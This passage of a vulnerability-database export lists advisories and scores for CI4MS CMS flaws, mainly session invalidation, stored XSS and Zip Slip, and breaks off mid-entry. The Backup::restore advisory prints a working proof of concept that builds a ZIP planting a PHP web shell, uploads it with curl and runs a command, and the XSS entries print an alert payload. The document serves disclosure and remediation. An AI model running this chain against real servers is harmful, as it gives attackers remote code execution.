scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-10T20:29:33Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39393
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39393
5
reference_url https://github.com/advisories/GHSA-8rh5-4mvx-xj7j
reference_id GHSA-8rh5-4mvx-xj7j
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8rh5-4mvx-xj7j
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-j32w-tcpz-1fak
3
vulnerability VCID-mds3-7xh3-mkgv
4
vulnerability VCID-qrag-mndk-xbb7
5
vulnerability VCID-ux28-acyz-kqd1
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.4%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.4%252B0
aliases CVE-2026-39393, GHSA-8rh5-4mvx-xj7j
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-e9xp-rar3-c7bp
13
url VCID-g79q-pkjw-2ydw
vulnerability_id VCID-g79q-pkjw-2ydw
summary
CI4MS: Account Deactivation Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)
## Summary
### Vulnerability: Improper Session Invalidation on Account Deactivation (Broken Access Control / Logic Flaw)
- This vulnerability is caused by a backend logic flaw that maintains a false trust assumption that already-authenticated users remain trustworthy, even after their accounts are explicitly deactivated. As a result, administrative security actions do not behave as intended, allowing persistent unauthorized access.

### Description
The application fails to immediately revoke active user sessions when an account is deactivated. Due to a logic flaw in the backend design, account state changes are enforced only during authentication (login), not for already-established sessions.

The system implicitly assumes that authenticated users remain trusted for the lifetime of their session. There is no session expiration or account expiration mechanism in place, causing deactivated accounts to retain indefinite access until the user manually logs out. This behavior breaks the intended access control policy and results in persistent unauthorized access, representing a critical security flaw.

### Affected Functionality
- User session management and authentication logic
- Account deactivation mechanism
- All authenticated endpoints, including administrative and content interfaces

### Attack Scenario
- A user logs into the application.
- An administrator deactivates the user account.
- The user remains fully logged in and can continue performing all actions allowed by their role indefinitely, as there is no session expiration.
- The user can continue invoking backend methods, triggering application actions, accessing sensitive interfaces (including user management if permitted), and interacting with the system as if the account were still active.
- Access is only lost if the user manually logs out, which may never occur.

### Impact
- Unauthorized Continued Access: Deactivated users retain full access indefinitely, violating intended access control and expected security behavior.
- Bypass of Administrative Controls: Administrative actions (deactivation) fail to immediately restrict active sessions.
- Logic Flaw Resulting in Broken Behavior: Backend authorization logic relies on a flawed trust assumption that authenticated users remain valid, enforcing account state only at login.
- Full Functional Access Retained: Deactivated users can continue invoking application methods, executing actions, interacting with protected endpoints, and using the system exactly as before being deactivated.
- Privilege Abuse: Users with elevated roles (moderator, editor, administrator) can continue performing privileged actions after account deactivation, including accessing user management interfaces and modifying application state.
- Service Disruption Potential: Persistent access allows attackers to disrupt services, manipulate content, or interfere with normal application operations.
- Attack Persistence: Attackers can maintain access indefinitely, increasing the risk of data exfiltration, unauthorized modifications, or further privilege escalation.
- False Sense of Remediation: Administrators may believe a threat has been mitigated while the deactivated user remains active within the system.

Endpoint Example: Any endpoint accessible to authenticated users, including dashboards, administrative interfaces, user management pages, and API endpoints.

## Steps To Reproduce (PoC)
1. Create or use an existing user account.
2. Log into the application using this account.
3. From an administrative account, deactivate the logged-in user account.
4. Observe that the target user remains authenticated.
5. Verify that the user can still access protected functionality, invoke actions, and interact with the application as before.
6. Confirm that the user only loses access after manually logging out (if they choose to do so).

## Remediation
- Immediately invalidate all active sessions when an account is deactivated.
- Enforce account status checks on every authenticated request, not only during login.
- Introduce proper session expiration or account expiration mechanisms to prevent indefinite access.
- Correct the backend logic flaw to ensure access control behavior aligns with intended security design and does not rely on unsafe trust assumptions.

# Ready Video POC:
https://mega.nz/file/zJkhwCII#G1-TecKmNBJmEeBS0ExsAY_RXEmAl3QqMqu4t5oy844
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34572
reference_id
reference_type
scores
0
value 0.00035
scoring_system epss
scoring_elements 0.10889
published_at 2026-06-05T12:55:00Z
1
value 0.00035
scoring_system epss
scoring_elements 0.10843
published_at 2026-06-07T12:55:00Z
2
value 0.00035
scoring_system epss
scoring_elements 0.10879
published_at 2026-06-06T12:55:00Z
3
value 0.00041
scoring_system epss
scoring_elements 0.12874
published_at 2026-06-09T12:55:00Z
4
value 0.00041
scoring_system epss
scoring_elements 0.12843
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34572
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T13:51:06Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8fq3-c5w3-pj3q
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T13:51:06Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8fq3-c5w3-pj3q
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34572
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34572
5
reference_url https://github.com/advisories/GHSA-8fq3-c5w3-pj3q
reference_id GHSA-8fq3-c5w3-pj3q
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-8fq3-c5w3-pj3q
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34572, GHSA-8fq3-c5w3-pj3q
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-g79q-pkjw-2ydw
14
url VCID-j32w-tcpz-1fak
vulnerability_id VCID-j32w-tcpz-1fak
summary
CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE
### Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

### Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:

```php
public function restore()
{
    $valData = ([
        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('backup_file');

    if ($file && $file->isValid() && ! $file->hasMoved()) {
        $newName    = $file->getRandomName();
        $uploadPath = WRITEPATH . 'uploads/';
        ...
        $filePath = WRITEPATH . 'uploads/' . $newName;
        $sqlPath  = $filePath;
        if ($ext === 'zip') {
            $zip = new \ZipArchive();
            if ($zip->open($filePath) === true) {
                $zip->extractTo($uploadPath);          // no entry-name validation
                $sqlPath = $uploadPath . $zip->getNameIndex(0);
                $zip->close();
                @unlink($filePath);
            }
        }
        ...
    }
}
```

A ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser.

### PoC
Build the archive:

```python
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')
"
```

Submit it as a backup to restore:

```bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'backup_file=@evil.zip' \
  https://target.example.com/backend/backup/restore
```

Trigger the shell:

```bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41202
reference_id
reference_type
scores
0
value 0.00464
scoring_system epss
scoring_elements 0.64694
published_at 2026-06-05T12:55:00Z
1
value 0.00464
scoring_system epss
scoring_elements 0.64693
published_at 2026-06-07T12:55:00Z
2
value 0.00464
scoring_system epss
scoring_elements 0.64703
published_at 2026-06-06T12:55:00Z
3
value 0.00534
scoring_system epss
scoring_elements 0.67775
published_at 2026-06-08T12:55:00Z
4
value 0.00534
scoring_system epss
scoring_elements 0.67791
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41202
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:39:58Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4
reference_id
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
1
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:39:58Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41202
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41202
5
reference_url https://github.com/advisories/GHSA-xp9f-pvvc-57p4
reference_id GHSA-xp9f-pvvc-57p4
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xp9f-pvvc-57p4
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-qrag-mndk-xbb7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5%252B0
aliases CVE-2026-41202, GHSA-xp9f-pvvc-57p4
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-j32w-tcpz-1fak
15
url VCID-j76j-w4bk-nuft
vulnerability_id VCID-j76j-w4bk-nuft
summary
CI4MS: Pages Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Page Management Fields (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Page Creation and Editing Inputs

### Description
The application fails to properly sanitize user-controlled input within the **Page Management** functionality when creating or editing pages. Multiple input fields accept attacker-controlled JavaScript payloads that are stored server-side.

These stored values are later rendered without proper output encoding across administrative page lists and public-facing page views, leading to stored DOM-based cross-site scripting (XSS).

### Affected Functionality
- Page creation functionality
- Page editing functionality
- Page list and management views
- Public-facing page rendering
- Storage and retrieval of page-related data

### Affected Fields
- Title
- URL
- Content
- Cover Image
- Image URL
- Image Width
- Image Height
- SEO Description
- SEO Keywords

### Attack Scenario
- An attacker creates or edits a page and injects a malicious XSS payload into one or more page-related input fields.
- The application stores these values without sanitization or encoding.
- The payload is rendered in administrative page lists and public-facing page views.
- The payload executes automatically in the browser context of administrators, authenticated users, and unauthenticated visitors.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/pages/create`
- Page list management view
- Public-facing page views

## Steps To Reproduce (POC)
1. Navigate to the Page Management -> Add Page interface
2. Insert an XSS payload into any page-related field such as:
`<img src=x onerror=alert(document.domain)>`
3. Save or publish the page
4. View the page via the administrative page list or public-facing page
5. Observe the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/iAkWAKQY#hCUv4DlMPFykPvb4gO94ZVGj64tpUk99gLxE6u1kASk
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34566
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15923
published_at 2026-06-05T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15872
published_at 2026-06-07T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15912
published_at 2026-06-06T12:55:00Z
3
value 0.00058
scoring_system epss
scoring_elements 0.18312
published_at 2026-06-09T12:55:00Z
4
value 0.00058
scoring_system epss
scoring_elements 0.18292
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34566
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-04T03:15:25Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-458r-h248-29c5
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-04T03:15:25Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-458r-h248-29c5
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34566
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34566
5
reference_url https://github.com/advisories/GHSA-458r-h248-29c5
reference_id GHSA-458r-h248-29c5
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-458r-h248-29c5
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34566, GHSA-458r-h248-29c5
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-j76j-w4bk-nuft
16
url VCID-kedh-z3qx-rfaq
vulnerability_id VCID-kedh-z3qx-rfaq
summary
CI4MS: Blogs Tags Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Blog Tag Name (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Tag Name in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog tags. An attacker can inject a malicious JavaScript payload into the tag name field, which is then stored server-side.

This stored payload is later rendered unsafely across public tag pages and administrative interfaces without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog tag creation functionality
- Blog tag editing functionality
- Blog tag storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog tag name to include a malicious XSS payload.
- The application stores this value without sanitization or encoding.
- The payload persists and executes whenever the tag name is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/tags/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Tags management page
2. Create or edit a tag and insert an XSS payload into the tag name such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the tag
4. View a public blog page or the administrative interface where the tag is rendered
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.
# Ready Video POC:
https://mega.nz/file/GI9Bnbha#FkVY4K7AiuttnBGDFaCtxuJwKk-afRcKjYJnkqfLZOM
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34559
reference_id
reference_type
scores
0
value 0.00018
scoring_system epss
scoring_elements 0.05058
published_at 2026-06-05T12:55:00Z
1
value 0.00018
scoring_system epss
scoring_elements 0.05035
published_at 2026-06-07T12:55:00Z
2
value 0.00018
scoring_system epss
scoring_elements 0.05043
published_at 2026-06-06T12:55:00Z
3
value 0.00021
scoring_system epss
scoring_elements 0.06105
published_at 2026-06-09T12:55:00Z
4
value 0.00021
scoring_system epss
scoring_elements 0.06082
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34559
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4333-387x-w245
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4333-387x-w245
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34559
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34559
5
reference_url https://github.com/advisories/GHSA-4333-387x-w245
reference_id GHSA-4333-387x-w245
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-4333-387x-w245
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34559, GHSA-4333-387x-w245
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-kedh-z3qx-rfaq
17
url VCID-mds3-7xh3-mkgv
vulnerability_id VCID-mds3-7xh3-mkgv
summary
CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE
### Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

### Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

```php
public function upload()
{
    $valData = ([
